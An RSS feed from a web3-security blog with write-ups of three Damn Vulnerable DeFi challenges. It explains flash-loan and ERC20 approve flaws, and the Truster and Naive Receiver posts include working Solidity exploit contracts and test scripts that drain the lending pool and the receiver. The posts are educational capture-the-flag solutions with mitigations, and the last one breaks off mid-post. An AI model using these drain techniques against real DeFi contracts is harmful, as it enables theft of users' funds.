<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>tanh</title>
        <link>https://paragraph.com/@tanh</link>
        <description>Exploring web3 with a focus on security. Currently learning in public, support me by collecting posts! </description>
        <lastBuildDate>Wed, 22 Apr 2026 19:30:52 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>tanh</title>
            <url>https://storage.googleapis.com/papyrus_images/65c72d38397be41d808472ac331b6e45d0222e5637ee8f6aee8ce4e33202da6d.jpg</url>
            <link>https://paragraph.com/@tanh</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[Damn Vulnerable Defi #3 : Truster Solution]]></title>
            <link>https://paragraph.com/@tanh/damn-vulnerable-defi-3-truster-solution</link>
            <guid>xel7jiqtc9pLcuyDtPj4</guid>
            <pubDate>Fri, 07 Apr 2023 02:49:05 GMT</pubDate>
            <description><![CDATA[ProblemA lending pool has 1 million DVT tokens and is offering flash loans. Our task is to drain the pool of all funds. The title of the challenge has a little hint in it, too much trust in the smart contract world is a road to a lot of pain. But I’m getting ahead of myself, let’s take a look at the contract:TrusterLenderPool.solWe see that there is a flash loan function that sends over some tokens to the borrower that gets passed in. After sending tokens in, a functionCall is made to the tar...]]></description>
            <content:encoded><![CDATA[<h1 id="h-problem" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Problem</h1><p>A lending pool has 1 million DVT tokens and is offering flash loans. Our task is to drain the pool of all funds. The title of the challenge has a little hint in it, too much trust in the smart contract world is a road to a lot of pain. But I’m getting ahead of myself, let’s take a look at the contract:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e2f42b5ff04a47fc2478f0c21120572df6642eafe4832db615879cd34f42793d.png" alt="TrusterLenderPool.sol" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">TrusterLenderPool.sol</figcaption></figure><p>We see that there is a flash loan function that sends over some tokens to the <code>borrower</code> that gets passed in. After sending tokens in, a <code>functionCall</code> is made to the <code>target</code> with arbitrary <code>data</code> that is passed in. Finally, the contract checks to make sure the tokens have been returned and then the <code>flashLoan</code> function completes.</p><p>The issue here lies with the <code>target.functionCall</code>, which gets called with any arbitrary data that is passed in by the sender. This means that ANY function can be called on ANY target address. This seems like an issue, so we can investigate further - but first, let’s learn a bit about how ERC20 works.</p><h1 id="h-erc20-approve" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">ERC20 Approve</h1><p>The ERC20 specification has a special <code>approve</code> function that allows addresses to specify that other addresses are allowed to spend tokens on their behalf. This is a technique that a large number of smart contracts in the DeFi space take advantage of. The flow goes something like this:</p><ol><li><p>User approves Contract A to spend 10 tokens</p></li><li><p>Contract A can then transfer 10 tokens from the user to itself</p></li><li><p>After transferring the tokens, the approval is taken back to 0 automatically</p></li></ol><p>Without <code>approve</code>, smart contracts would not be able to take tokens from users wallets to perform transactions. As an example, Uniswap needs this functionality to pull funds from the users wallet to perform a swap.</p><h1 id="h-the-exploit" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Exploit</h1><p>Now that we understand how <code>approve</code> works, we’re ready to jump back in to the solution. The <code>approve</code> function of ERC20 is implemented like this:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8ec3ddab7b8688b3c5a945b018d2c76d97cf53a1f1e46ed5f45806bacda95ba2.png" alt="ERC20 approve" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">ERC20 approve</figcaption></figure><p>The function takes two arguments, the <code>spender</code> and the <code>amount</code> which will be approved. The account that funds are approved from is the <code>msg.sender</code>.</p><p>In solidity, when an external call is made from one contract to another, the <code>msg.sender</code> in the receiving contract is the calling contract (not the initiator of the transaction). We can take advantage of this fact to get the contract to approve spending of its own tokens by some outside account such as our player. After that, the player can simply call <code>transferFrom</code> on the token to retrieve the funds. Here is the implementation</p><pre data-type="codeBlock" text="it(&apos;Execution - multi transaction&apos;, async function () {
    /** CODE YOUR SOLUTION HERE */
    const tokenInterface = new Interface([
        &quot;function approve(address spender, uint256 amount) public returns (bool)&quot;
    ])
    
    await pool.flashLoan(
        0, // Borrow nothing
        player.address, // borrower
        token.address, // target
        tokenInterface.encodeFunctionData(&apos;approve(address,uint256)&apos;, [
            player.address, TOKENS_IN_POOL
        ]) // data
    );

    // Now, the player is approved and can transfer funds
    await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
});
"><code>it(<span class="hljs-string">'Execution - multi transaction'</span>, async <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">/** CODE YOUR SOLUTION HERE */</span>
    const tokenInterface <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Interface([
        <span class="hljs-string">"function approve(address spender, uint256 amount) public returns (bool)"</span>
    ])
    
    await pool.flashLoan(
        <span class="hljs-number">0</span>, <span class="hljs-comment">// Borrow nothing</span>
        player.<span class="hljs-built_in">address</span>, <span class="hljs-comment">// borrower</span>
        token.<span class="hljs-built_in">address</span>, <span class="hljs-comment">// target</span>
        tokenInterface.encodeFunctionData(<span class="hljs-string">'approve(address,uint256)'</span>, [
            player.<span class="hljs-built_in">address</span>, TOKENS_IN_POOL
        ]) <span class="hljs-comment">// data</span>
    );

    <span class="hljs-comment">// Now, the player is approved and can transfer funds</span>
    await token.connect(player).transferFrom(pool.<span class="hljs-built_in">address</span>, player.<span class="hljs-built_in">address</span>, TOKENS_IN_POOL);
});
</code></pre><p>The test case now passes as expected.</p><h1 id="h-exploit-single-transaction" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Exploit, single transaction</h1><p>Alright, similar to the previous challenge, we’d like to complete this in one single transaction. Note that our current solution performs two transactions, a <code>flashLoan</code> and then a <code>transferFrom</code>. To do these in one transaction, we’ll need the help of an intermediate contract. I’ve written one that looks like this</p><pre data-type="codeBlock" text="contract TrusterExploiter {
    function exploit(address tokenAddress, address poolAddress, address playerAddress) public {
        TrusterLenderPool pool = TrusterLenderPool(poolAddress);
        DamnValuableToken token = DamnValuableToken(tokenAddress);

        // 1. Approve this contract to spend all of the pools tokens
        pool.flashLoan(
            0, // Borrow nothing from the pool
            address(this),
            tokenAddress,
            abi.encodeWithSelector(
                IERC20.approve.selector,
                address(this),
                token.balanceOf(poolAddress)
            )
        );

        // 2. Transfer all of the pools tokens to the player
        token.transferFrom(poolAddress, playerAddress, token.balanceOf(poolAddress));
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">TrusterExploiter</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">exploit</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> tokenAddress, <span class="hljs-keyword">address</span> poolAddress, <span class="hljs-keyword">address</span> playerAddress</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        TrusterLenderPool pool <span class="hljs-operator">=</span> TrusterLenderPool(poolAddress);
        DamnValuableToken token <span class="hljs-operator">=</span> DamnValuableToken(tokenAddress);

        <span class="hljs-comment">// 1. Approve this contract to spend all of the pools tokens</span>
        pool.flashLoan(
            <span class="hljs-number">0</span>, <span class="hljs-comment">// Borrow nothing from the pool</span>
            <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
            tokenAddress,
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSelector</span>(
                IERC20.approve.<span class="hljs-built_in">selector</span>,
                <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
                token.balanceOf(poolAddress)
            )
        );

        <span class="hljs-comment">// 2. Transfer all of the pools tokens to the player</span>
        token.transferFrom(poolAddress, playerAddress, token.balanceOf(poolAddress));
    }
}
</code></pre><p>In here, we see that we are effectively doing the same thing -- just in a contract function. Using this, we can make our single transaction from the test file as follows</p><pre data-type="codeBlock" text="it(&apos;Execution&apos;, async function () {
    /** CODE YOUR SOLUTION HERE */
    const exploiterFactorty = await ethers.getContractFactory(&apos;TrusterExploiter&apos;, player);
    const exploiter = await exploiterFactorty.deploy();

    await exploiter.exploit(token.address, pool.address, player.address);
});
"><code>it(<span class="hljs-string">'Execution'</span>, async <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">/** CODE YOUR SOLUTION HERE */</span>
    const exploiterFactorty <span class="hljs-operator">=</span> await ethers.getContractFactory(<span class="hljs-string">'TrusterExploiter'</span>, player);
    const exploiter <span class="hljs-operator">=</span> await exploiterFactorty.deploy();

    await exploiter.exploit(token.<span class="hljs-built_in">address</span>, pool.<span class="hljs-built_in">address</span>, player.<span class="hljs-built_in">address</span>);
});
</code></pre><h1 id="h-conclusion" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Conclusion</h1><p>The problem with this contract is that it places too much trust on the caller. It assumes the caller is not malicious, so it allows it to call any function on any contract. A fix for this bug would be to call a specified function on the <code>target</code>.</p><h1 id="h-credits" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Credits</h1><p>Cover photo:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://unsplash.com/@laurenlulutaylor?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">https://unsplash.com/@laurenlulutaylor?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText</a></p>]]></content:encoded>
            <author>tanh@newsletter.paragraph.com (tanh)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/71d873716a4f85b6b86ccb5aa5a5d8d25fa53a74f3548aade685e6bd5b7e2855.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Damn Vulnerable Defi #2 : Naive Receiver Solution]]></title>
            <link>https://paragraph.com/@tanh/damn-vulnerable-defi-2-naive-receiver-solution</link>
            <guid>9ePBn1l3I78SmTFfOc2v</guid>
            <pubDate>Wed, 29 Mar 2023 18:28:06 GMT</pubDate>
            <description><![CDATA[ProblemThere’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH. A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH. Take all ETH out of the user’s contract. If possible, in a single transaction.ContractsI’ve discussed in detail how flash loans work in my previous article on this series. Check it out here. This challenge also makes use of flash loans being taken out from a vault. L...]]></description>
            <content:encoded><![CDATA[<h1 id="h-problem" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Problem</h1><p>There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.</p><p>A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.</p><p>Take all ETH out of the user’s contract. If possible, in a single transaction.</p><h1 id="h-contracts" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Contracts</h1><p>I’ve discussed in detail how flash loans work in my previous article on this series. Check it out <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/tanh.eth/OCdAyxWaUjoMCcGsbBSc3zMpQmOsP-5dzi4S_1FcPnA">here</a>. This challenge also makes use of flash loans being taken out from a vault. Let’s first take a look at the logic that is defined in the lender contract</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/506bcb09cfc8bab2aecbe3be4266411cc836a315b854055af714906af1bd45e2.png" alt="NaiveReceiverLenderPool.sol contract" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">NaiveReceiverLenderPool.sol contract</figcaption></figure><p>The first thing to notice is that this contract takes a pretty large fee (1 ETH!) on each loan. This fee is charged every time a user performs a flash loan. Diving into the <code>flashLoan</code> contract, the contract first checks that the token being deposited is ETH and reverts otherwise. Next, it transfers the requested amount to the <code>receiver</code> and calls the receiver’s <code>onFlashLoan</code> method. Finally, it verifies that the <code>receiver</code> sent back the full balance plus the fee.</p><p>Now let’s take a look at the borrower side contract.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1455d4e405ffde3430b7d9c584aa3a860dd181564cad989fe524f7289f335c84.png" alt="FlashLoanReceiver.sol contract" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">FlashLoanReceiver.sol contract</figcaption></figure><p>This contract implements <code>IERC3156FlashBorrower</code> which requires it to implement the <code>onFlashLoan</code> method. First, we check that the <code>caller()</code> is the pool address that this receiver contract is expecting. This ensures that it does not receive a flash loan from an unexpected (maybe malicious) source. The assembly code here reverts with <code>0x48f5c3ed</code> which I learned <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://openchain.xyz/signatures?query=0x48f5c3ed">translates</a> to an <code>InvalidCaller</code> code.</p><p>If the token being transferred is not ETH, the function reverts with an <code>UnsupportedCurrency</code> exception. The <code>amountToBeRepaid</code> value is populated with the amount plus the requested fee from the loan provider. It should be noted that this is using unchecked math which can overflow without reverting in solidity. This is a gas saving technique, but comes at a risk if the numbers are very large and may overflow or underflow. Finally, the function makes a call to <code>_executeActionDuringFlashLoan</code> which will perform any actions with the funds and then returns the amount borrowed plus the fee to the loan provider.</p><h1 id="h-solution-multiple-transactions" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution (multiple transactions)</h1><p>Okay so with that background out of the way, how do we actually solve this puzzle? Since the flash loan takes such a large fee, it can be solved by forcing the receiver to take a loan over and over again unintentionally. Here is the naive solution</p><pre data-type="codeBlock" text="it(&apos;Execution multi transaction&apos;, async function () {
    /** CODE YOUR SOLUTION HERE */
    const ETH = await pool.ETH();

    for (let i = 0; i &lt; 10; i++) {
        await pool.flashLoan(receiver.address, ETH, 1n * 10n ** 18n, &quot;0x&quot;);
    }
});
"><code>it(<span class="hljs-string">'Execution multi transaction'</span>, async <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">/** CODE YOUR SOLUTION HERE */</span>
    const ETH <span class="hljs-operator">=</span> await pool.ETH();

    <span class="hljs-keyword">for</span> (let i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> <span class="hljs-number">10</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        await pool.flashLoan(receiver.<span class="hljs-built_in">address</span>, ETH, 1n <span class="hljs-operator">*</span> 10n <span class="hljs-operator">*</span><span class="hljs-operator">*</span> 18n, <span class="hljs-string">"0x"</span>);
    }
});
</code></pre><p>In this solution, we make 10 transactions to the pool contract to perform a flash loan to the borrower. After making 10 flash loans, the 10 ETH that the borrower started with have been drained into the flash loan pool.</p><h1 id="h-solution-single-transaction" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution (single transaction)</h1><p>The problem statement adds an extra challenge to do this in only one transaction. In the real world, attackers try to attack contracts in as few transactions as possible to reduce the risk of getting caught before completing their intended actions. To do this, we need a helper contract that will do the attack on chain in a single transaction. First, I created an exploiter contract like so</p><pre data-type="codeBlock" text="contract Exploiter is IERC3156FlashBorrower {
  IERC3156FlashLender lender;
  IERC3156FlashBorrower borrower;

  constructor(IERC3156FlashLender _lender, IERC3156FlashBorrower _borrower) {
    lender = _lender;
    borrower = _borrower;
  }

  receive () payable external {
    uint borrowerBalance = address(borrower).balance;

    while (borrowerBalance &gt; 0) {
      lender.flashLoan(borrower, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 1 ether, &quot;0x&quot;);
      borrowerBalance = address(borrower).balance;
    }
  }

  function onFlashLoan(address, address, uint256, uint256, bytes calldata) external override returns (bytes32) {
    SafeTransferLib.safeTransferETH(address(lender), 1 ether);

    return keccak256(&quot;ERC3156FlashBorrower.onFlashLoan&quot;);
  }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Exploiter</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IERC3156FlashBorrower</span> </span>{
  IERC3156FlashLender lender;
  IERC3156FlashBorrower borrower;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">IERC3156FlashLender _lender, IERC3156FlashBorrower _borrower</span>) </span>{
    lender <span class="hljs-operator">=</span> _lender;
    borrower <span class="hljs-operator">=</span> _borrower;
  }

  <span class="hljs-function"><span class="hljs-keyword">receive</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-keyword">uint</span> borrowerBalance <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(borrower).<span class="hljs-built_in">balance</span>;

    <span class="hljs-keyword">while</span> (borrowerBalance <span class="hljs-operator">></span> <span class="hljs-number">0</span>) {
      lender.flashLoan(borrower, <span class="hljs-number">0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE</span>, <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>, <span class="hljs-string">"0x"</span>);
      borrowerBalance <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(borrower).<span class="hljs-built_in">balance</span>;
    }
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onFlashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">address</span>, <span class="hljs-keyword">address</span>, <span class="hljs-keyword">uint256</span>, <span class="hljs-keyword">uint256</span>, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>) </span>{
    SafeTransferLib.safeTransferETH(<span class="hljs-keyword">address</span>(lender), <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);

    <span class="hljs-keyword">return</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"ERC3156FlashBorrower.onFlashLoan"</span>);
  }
}
</code></pre><p>This contract will act as another borrower which will perform the draining actions for us in the same transaction. By calling the <code>flashLoan</code> function on the pool with the exploiter contract as the receiver, it triggers a call to the <code>receive</code> function. <code>receive</code> is a function in smart contracts that is called by default whenever the contract receives any ether. In the <code>receive</code> function, I create more calls to <code>flashLoan</code> with the borrower contract as the receiver until the <code>borrowerBalance</code> has gone down to 0.</p><p>After adding this contract, the challenge can be solved with one transaction like so:</p><pre data-type="codeBlock" text="it(&apos;Execution&apos;, async function () {
    /** CODE YOUR SOLUTION HERE */
    const ExploiterFactory = await ethers.getContractFactory(&apos;Exploiter&apos;, player);
    const exploiter = await ExploiterFactory.deploy(pool.address, receiver.address);

    const ETH = await pool.ETH();
    await pool.flashLoan(exploiter.address, ETH, 1n * 10n ** 18n, &quot;0x&quot;);
});
"><code>it(<span class="hljs-string">'Execution'</span>, async <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">/** CODE YOUR SOLUTION HERE */</span>
    const ExploiterFactory <span class="hljs-operator">=</span> await ethers.getContractFactory(<span class="hljs-string">'Exploiter'</span>, player);
    const exploiter <span class="hljs-operator">=</span> await ExploiterFactory.deploy(pool.<span class="hljs-built_in">address</span>, receiver.<span class="hljs-built_in">address</span>);

    const ETH <span class="hljs-operator">=</span> await pool.ETH();
    await pool.flashLoan(exploiter.<span class="hljs-built_in">address</span>, ETH, 1n <span class="hljs-operator">*</span> 10n <span class="hljs-operator">*</span><span class="hljs-operator">*</span> 18n, <span class="hljs-string">"0x"</span>);
});
</code></pre><h1 id="h-mitigation" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Mitigation</h1><p>One way to mitigate this issue would be to check that the <code>receiver</code> in the <code>flashLoan</code> function is the initiator of the transaction. To me, it is a security risk to allow anyone to make a contract perform a flash loan and drain its fees.</p><h1 id="h-credits" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Credits</h1><p>Cover photo:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://unsplash.com/photos/R9L7ukhBSgs?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditShareLink">https://unsplash.com/photos/R9L7ukhBSgs?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditShareLink</a></p>]]></content:encoded>
            <author>tanh@newsletter.paragraph.com (tanh)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/5f7e1a25d331d110e879b6a57b045e87a85d004efad7cb9f6624a9ea4a76bc67.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Damn Vulnerable DeFi #1: Unstoppable Solution]]></title>
            <link>https://paragraph.com/@tanh/damn-vulnerable-defi-1-unstoppable-solution</link>
            <guid>FUQav7Xhu9v3huZfbF3k</guid>
            <pubDate>Tue, 28 Mar 2023 00:30:40 GMT</pubDate>
            <description><![CDATA[IntroductionHey there, I’m creating a series of my solutions to the Damn Vulnerable DeFi challenges here starting with challenge #1 “Unstoppable”. This challenge looks at a flash loan implementation that contains a vulnerability. But first, what is a flash loan and how is it implemented?Flash Loans and ERC3156Flash Loans were first introduced by Aave as part of Aave V3 which you can learn more about here. They provide a way for users to borrow crypto without needing to put down any collateral...]]></description>
            <content:encoded><![CDATA[<h1 id="h-introduction" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Introduction</h1><p>Hey there, I’m creating a series of my solutions to the Damn Vulnerable DeFi challenges here starting with challenge #1 “Unstoppable”. This challenge looks at a flash loan implementation that contains a vulnerability. But first, what is a flash loan and how is it implemented?</p><h1 id="h-flash-loans-and-erc3156" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Flash Loans and ERC3156</h1><p>Flash Loans were first introduced by Aave as part of Aave V3 which you can learn more about <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.aave.com/developers/guides/flash-loans">here</a>. They provide a way for users to borrow crypto without needing to put down any collateral first. The catch is that the entire loan must be paid back within the same transaction or the entire transaction will fail. This provides a way for users to make high leverage trades without any upfront capital.</p><p>ERC3156 was developed as a standardized interface for interacting with Flash Loan contracts. The standard consists of two contracts, the lender and borrower (<code>IERC3156FlashLender</code> and <code>IERC3156FlashBorrower</code>). You can read more about the standard <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eips.ethereum.org/EIPS/eip-3156#specification">here</a>. At a high level, these interfaces provide the following functions</p><pre data-type="codeBlock" text="interface IERC3156FlashLender {

    /**
     * @dev The amount of currency available to be lent.
     * @param token The loan currency.
     * @return The amount of `token` that can be borrowed.
     */
    function maxFlashLoan(
        address token
    ) external view returns (uint256);

    /**
     * @dev The fee to be charged for a given loan.
     * @param token The loan currency.
     * @param amount The amount of tokens lent.
     * @return The amount of `token` to be charged for the loan, on top of the returned principal.
     */
    function flashFee(
        address token,
        uint256 amount
    ) external view returns (uint256);

    /**
     * @dev Initiate a flash loan.
     * @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
     * @param token The loan currency.
     * @param amount The amount of tokens lent.
     * @param data Arbitrary data structure, intended to contain user-defined parameters.
     */
    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool);
}
"><code><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IERC3156FlashLender</span> </span>{

    <span class="hljs-comment">/**
     * @dev The amount of currency available to be lent.
     * @param token The loan currency.
     * @return The amount of `token` that can be borrowed.
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">maxFlashLoan</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> token
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;

    <span class="hljs-comment">/**
     * @dev The fee to be charged for a given loan.
     * @param token The loan currency.
     * @param amount The amount of tokens lent.
     * @return The amount of `token` to be charged for the loan, on top of the returned principal.
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashFee</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">uint256</span> amount
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;

    <span class="hljs-comment">/**
     * @dev Initiate a flash loan.
     * @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
     * @param token The loan currency.
     * @param amount The amount of tokens lent.
     * @param data Arbitrary data structure, intended to contain user-defined parameters.
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">
        IERC3156FlashBorrower receiver,
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}
</code></pre><pre data-type="codeBlock" text="interface IERC3156FlashBorrower {

    /**
     * @dev Receive a flash loan.
     * @param initiator The initiator of the loan.
     * @param token The loan currency.
     * @param amount The amount of tokens lent.
     * @param fee The additional amount of tokens to repay.
     * @param data Arbitrary data structure, intended to contain user-defined parameters.
     * @return The keccak256 hash of &quot;ERC3156FlashBorrower.onFlashLoan&quot;
     */
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32);
}
"><code><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IERC3156FlashBorrower</span> </span>{

    <span class="hljs-comment">/**
     * @dev Receive a flash loan.
     * @param initiator The initiator of the loan.
     * @param token The loan currency.
     * @param amount The amount of tokens lent.
     * @param fee The additional amount of tokens to repay.
     * @param data Arbitrary data structure, intended to contain user-defined parameters.
     * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onFlashLoan</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> initiator,
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">uint256</span> fee,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>)</span>;
}
</code></pre><p>The borrower contract can inherit <code>IERC3156FlashBorrower</code> by implementing the <code>onFlashLoan</code> contract. After this, the borrower can call the <code>flashLoan</code> function with the amount and token requested from the lender contract. On the lender side, <code>flashLoan</code> is implemented to send those tokens to the receiver, call the <code>onFlashLoan</code> callback function and then pull the tokens plus a fee back from the borrower contract. The code execution flow looks like this:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/190f6ee58aaaee1bf2e35947041b7728d6ca1854d578a3d7a33407bc25be680f.png" alt="Flash Loan execution flow" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Flash Loan execution flow</figcaption></figure><p>The borrower can implement any logic that they want within the <code>onFlashLoan</code> function, but the transaction will only be successful if they approve the loaned tokens plus a fee to the lender at the end. The next thing to understand about this challenge is ERC4626 vaults</p><h1 id="h-vaults-and-erc4626" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Vaults and ERC4626</h1><p>ERC4626 was developed to standardized tokenized yield bearing vaults. Simply put, this vault allows users to hold a share of some underlying asset that is controlled in a vault. For example, consider a vault holding 100USDC. Alice could hold 69% of the vault and Bob could hold 20% of the vault. This gives Alice access to 69USDC from the vault and Bob 20USDC from the vault. This is a simple example, but the idea can easily be extended to more complex vaults such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://yearn.finance/vaults">Yearn</a>, which generate yield on the assets in the vault. The yield can be distributed to users based on how much stake they have.</p><h1 id="h-contract-overview" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Contract overview</h1><p>Alright, with that background out of the way, we can take a look at the vulnerable <a target="_blank" rel="noopener noreferrer nofollow ugc" 